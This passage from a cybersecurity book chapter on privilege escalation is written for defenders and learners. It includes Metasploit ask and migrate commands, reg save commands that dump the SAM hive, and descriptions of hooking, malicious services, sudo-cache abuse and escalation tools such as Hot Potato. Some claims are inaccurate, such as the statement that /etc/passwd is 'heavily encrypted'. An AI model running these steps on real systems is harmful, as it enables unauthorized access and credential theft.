This is a command that works on all versions of Windows. It is used to request that the user on the target machine unknowingly escalates the execution level of the attacker. The user has to click OK on a non-suspicious-looking prompt on their screen requesting permission to run a program. User consent is required and if it is not given then the privilege escalation attempt is not successful. Therefore, the attacker has to request the user to allow for the running of a legitimate program and this is where PowerShell comes in. Attackers, therefore, have to set the ask technique to be through PowerShell. This is done as follows:

Msf exploit(ask)> set TECHNIQUE PSH
Msf exploit(ask)> run

At this point, a popup will appear on the target user’s screen prompting them to allow the running of PowerShell, a completely legitimate Windows program. In most instances, the user will click OK. With this permission, the attacker can use Powershell to migrate from being a normal user to a system user, as follows:

Meterpreter> migrate 1340

Thus, 1340 is listed as a system user on Metasploit. When this is successful, the attackers will have successfully acquired more privileges. A check on the privileges the attackers have should show that they have both admin and system rights. However, the 1340 admin user only has four Windows privileges and these are insufficient to perform a big attack. An attacker has to escalate his or her privileges further so as to have sufficient privileges to be able to perform more malicious actions. The attackers can then migrate to 3772, which is an NT AuthoritySystem user. This can be carried out using the following command:

Meterpreter> migrate 3772

The attackers will still have the admin and root user rights and they will have additional Windows privileges. These additional privileges, 13 in number, can allow the attackers to do a myriad of things to the target using Metasploit.

Dumping the SAM file

This is a technique used on compromised Windows systems by hackers to gain admin privileges. The main weakness exploited is the local storage of passwords as LAN Manager (LM) hashes on the hard disk. These passwords might be for normal user accounts as well as local admin and domain admin credentials.

There are many ways that hackers can gain these hashes. A commonly used command-line tool is HoboCopy, which can easily fetch SAM (Security Accounts Manager) files on a hard disk. The SAM files are sensitive since they contain the user passwords hashed and partially encrypted. Once Hobocopy has located these files and dumped them to a more easily-accessible location, hackers can quickly fetch the hashes of all accounts on the computer. Another alternative for accessing the SAM file is by locating it manually using the command prompt and then copying it to an easily-accessible folder. To do this, one has to run the following commands (Figure 9.27):

reg save hklmsam c:sam
reg save hklmsystem c:system

Figure 9.26: Screenshot from the command

The above commands locate the hashed password files and save them to the C drive with the names sam and system. The file is saved rather than copied since it is not possible to copy and paste the SAM file when the OS is running.

Once these files have been dumped, the next step entails cracking them with a tool that can crack NTLM or LM hashes. The Cain and Abel tool is commonly used at this stage, whereby it cracks the hashes and gives the credentials in plain text. Using the plain text credentials, a hacker can simply log in to higher privilege accounts such as the local admin or domain admin and will have successfully escalated their privileges.

Rooting Android

Android devices come with limited features for security reasons. However, one can access all the advanced settings that are reserved for privileged users such as manufacturers by rooting the phone. Rooting the phone gives the normal user superuser access in the Android system. This level of access can be used to overcome limitations set by manufacturers, change the OS to another variant of android, make changes to the boot animations, and remove preinstalled software, among many other things.

Rooting is not always ill-intended since tech-savvy users and developers like experimenting with superuser access rights. However, it can expose a phone to more security challenges, especially because the Android security system is usually not adequate at securing a rooted device. Therefore, malicious APKs could be installed or system configurations could be modified causing some unexpected behaviors.

Figure 9.27: Rooting with Odin via https://forum.xda-developers.com

Using the /etc/passwd file

In UNIX systems, the etc/passwd file is used to hold account information. This information includes username and password combinations for different users that logged into the computer. However, since the file is heavily encrypted, it is usually accessible by normal users without security fears. This is because, even if the users can access it, they cannot read it. Admin users can change account passwords or test to see if some credentials are valid but they also cannot view them. However, there are Remote Access Tools (RATs) and password cracking software that can be used to take advantage of the exposed password file.

When a UNIX system has been compromised, the hacker can access and transfer the etc/passwd file to another location. They can then use a password cracking tool such as Crack, which uses dictionary attacks to find the plain text equivalent of the passwords in the etc/passwd file. Due to the shortcomings of user awareness of basic security controls, it is common to find that some users have easy-to-guess passwords. The dictionary attacks will be able to discover such passwords and give them to the hacker in plain text. The hacker can use this information to log in to a user account with root privileges.

Extra window memory injection

On Windows, when a new window is being created, a Windows class is prescribed to stipulate the window’s appearance and functions. This process can usually include a 40-byte Extra Window Memory (EWM) that is to be appended to the memory of each instance of the class. The 40 bytes are intended to act as a storage for data about each specific window. The EWM has an API that is used to set/get its value. In addition to this, the EWM has a large enough storage space for a pointer to a Windows procedure. This is what hackers usually take advantage of. They can write code that shares some sections of the memory of a particular process, and then place a pointer to an illegitimate procedure in the EWM.

When the window is created and the Windows procedure is called, the pointer from the hacker will be used. This might give the hacker access to a process’s memory or a chance to run with the elevated privileges of the compromised app. This method of privilege escalation is among the hardest to detect since all it does is abuse system features. The only way it can be detected is through the monitoring of API calls that can be used in EWM injection such as GetWindowLong, SendNotifyMessage, or other techniques that can be used to trigger the Windows procedure.

Hooking

On Windows-based operating systems, processes use APIs when accessing reusable system resources. The APIs are functions stored in DLLs as exported functions. Hackers can take advantage of the Windows system by redirecting calls made to these functions. They can do this through:

  • Hook procedures – these intercept and respond to I/O events such as keystrokes
  • Import Address Table hooking – they can modify a process’s address table where API functions are kept
  • Inline hooking – this can modify API functions

All three of the hookings listed can be used to load malicious code within the privileged context of another process. The code will thus be executed with elevated privileges (Figure 9.29). Hooking techniques may have long-lasting impacts since they may be invoked when the modified API functions are called by other processes. They can also capture parameters such as authentication credentials, which hackers may use to get to other systems. Hackers normally perform these hooking techniques through rootkits. Rootkits can hide malware behaviors that can be detected by antivirus systems.

Diagram  Description automatically generated

Figure 9.28: Hooking demonstration

Scheduled tasks

Windows has a task scheduler that can execute some programs or scripts at a certain predetermined period. The task scheduler accepts tasks scheduled by remote systems if the proper authentication is provided. In normal cases, you need to have admin privileges to conduct remote execution. A hacker can, therefore, use this feature to execute malicious programs or scripts at a certain time after breaching into a computer. They could abuse the remote execution of scheduled tasks to run programs on a specific account. For instance, a hacker could breach a normal user’s computer, and by using some of the techniques discussed above, they can get domain admin credentials. They can use these credentials to schedule a keystroke capture program to run on an executive’s computer at a certain time. This will allow them to collect far more valuable login credentials to systems used by the executives.

New services

During startup, Windows operating systems start some services that perform essential functions for the OS. These services are usually executables on the hard drive and their paths are usually stored in the registry. Hackers have been able to create their illegitimate services and to place their paths in the registry as well. During boot-up, these services are started alongside genuine ones. To prevent detection, hackers usually disguise the names of the services to resemble legitimate Windows services. In most cases, Windows executes these services with SYSTEM privileges. Therefore, hackers can use these services to escalate from admin to SYSTEM privileges.

Startup items

On Apple computers, startup items are executed during boot. They usually have configuration information that informs the macOS which execution order to use. However, they have become deprecated as Apple currently uses launch daemons. Therefore, the folder in which startup items are kept is not guaranteed to exist in newer versions of macOS. However, it has been observed that hackers can still take advantage of this deprecated feature as they can create the necessary files in the startup items directory of the macOS. The directory is /library/startupitems and is not usually write-protected. These items could include malware or illegitimate software. During boot, the OS will read the startup items folder and run the startup items listed. These items will run with root privileges thus giving a hacker unfiltered access to the system.

Figure 9.29: Sysinternals Autoruns can help you to identify startup malware

Sudo caching

On Linux systems, the sudo command is used by admins to delegate the authority to normal users to run commands with root privileges. The sudo command comes with configuration data such as a time within which a user can execute it before being prompted for a password. This property is usually stored as timestamp_timeout and its value is usually in minutes. This shows that the sudo command usually caches admin credentials for a specific amount of time. It usually refers to the /var/db/sudo file to check the timestamp of the last sudo and the expected timeout to determine whether a command can be executed without requesting a password. Since commands can be executed on different terminals, there is usually a variable known as tty_tickets that manages each terminal session in isolation. Therefore, a sudo timeout on one terminal will not affect other open terminals.

Hackers can take advantage of the amount of time that sudo commands allow a user to issue commands without re-entering passwords. They usually monitor the timestamp of each sudo command at /var/db/sudo. This allows them to determine whether the timestamp is still within the timeout range. In the cases where they find that a sudo has not been timed out, they can execute more sudo commands without having to re-enter the password.

Since this type of privilege escalation is time-sensitive and a hacker might not get time to manually run it, it is usually coded into a malware. The malware constantly checks the timestamp of sudo commands in the /var/db/sudo directory. In any case where a sudo command has been executed and the terminal left open, the malware can execute the commands provided by the hacker. These commands will be executed with root privileges.

Additional tools for privilege escalation

We have already covered many tools for privilege escalation in Chapter 4, Understanding the Cybersecurity Kill Chain. In this section, we will cover a few more tools which will be useful to help you better understand approach vectors utilized by attackers.

0xsp Mongoose v1.7

Using 0xsp Mongoose, you can scan the targeted operating system for privilege escalation attacks starting from the collecting information stage, until reporting information through 0xsp Web Application API. The Privilege Escalation Enumeration Toolkit can be used for Windows as well as Linux (64/32) systems, and it’s fast. As usual, you can download the tool from GitHub: https://github.com/lawrenceamer/0xsp-Mongoose/.

Figure 9.30: Mongoose can escalate privileges in Linux (as in the screenshot above) as well as Windows

Mongoose will help you to achieve the below tasks easily: agent.exe -h (display help instructions)

  • -s -- Enumerate active Windows services, drivers, and so on
  • -u -- Get information about users, groups, roles, and related information
  • -c -- Search for sensitive config files and accessible and private information
  • -n -- Retrieve network information, interfaces, and so on
  • -w -- Enumerate for writeable directories, access permission check, and modified permissions
  • -i -- Enumerate Windows system information, sessions, and related information
  • -l -- Search in any file by a specific keywords, for example: agent.exe -l c: password *.config
  • -o -- Connect to the 0xsp Mongoose Web Application API
  • -p -- Enumerate installed softwares, running processes, and tasks
  • -e -- Kernel inspection tool, which will help to search through tool databases for Windows kernel vulnerabilities
  • -x -- Secret key to authorize your connection with WebApp
  • -d -- Download files directly into a target machine
  • -t -- Upload files from the target machine into the Mongoose Web Application API [agent.exe -t filename api secretkey]
  • -m -- Run all known scan types together

0xsp Mongoose RED for Windows

0xsp Mongoose RED version is the same great tool designed to work in Windows. 0xsp Mongoose RED will be able to audit a targeted windows operation system for system vulnerabilities, misconfigurations, and privilege escalation attacks, and replicate the tactics and techniques of an advanced adversary in a network. Once you install and execute, the agent can help you identify and detect Windows exploits by using windows update api and exploit database definitions modules.

Text  Description automatically generated

Figure 9.31: Checking access enumeration via 0xsp

You can access 0xsp Mongoose RED at: https://github.com/lawrenceamer/0xsp-Mongoose.

Hot Potato

This is a privilege escalation tool that works with Windows 7-8-10 and Server 2012 and 2016. The tool takes advantage of known Windows issues to gain local privilege escalation in default configurations, namely NTLM relay and NBS spoofing. Using this technique, you can elevate a user from a lower level to NT AUTHORITY SYSTEM.

Text  Description automatically generated

Figure 9.32: Hot Potato in action

You can download the tool and learn more about it on its website: https://foxglovesecurity.com/2016/01/16/hot-potato/

You can also access it through GitHub: https://github.com/foxglovesec/Potato.

Conclusion and lessons learned

This chapter has discussed one of the most complex phases of an attack (although not all of the techniques used here are complex). As has been said, there are two approaches to privilege escalation: horizontal and vertical. Some attackers will use the horizontal privilege escalation methods because they are less taxing and easier to perform. However, veteran hackers who have a good understanding of the systems that they target will often use vertical privilege escalation methods. This chapter has gone through some of the specific methods within these two privilege escalation categories.

It was clear from most methods that hackers had to utilize legitimate processes and services in order to escalate privileges. This is because most systems are built using the least privilege concept, that being that users are purposefully given the least privileges that they require to accomplish their roles. Only the legitimate services and processes are given high-level privileges and, therefore, attackers have to compromise them in most cases.

Summary

This chapter has gone through the privilege escalation phase. It has been noted that there are two broad classifications of privilege escalation: vertical and horizontal. It has also brought to light that horizontal privilege escalation is the best luck that an attacker can hope for. This is because the methods used for horizontal privilege escalation tend not to be very complex.

This chapter has gone through most of the sophisticated vertical privilege escalation methods that attackers use against systems. It is noteworthy that most of the techniques discussed involve attempts to compromise legitimate services and processes in order to get higher privileges. This is probably the last task that the attacker will have to perform in the entire attack.

The next chapter will cover security policies, and how they can help you secure your environment.

References

Join our community on Discord

Join our community’s Discord space for discussions with the author and other readers:

https://packt.link/SecNet

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
3.16.68.179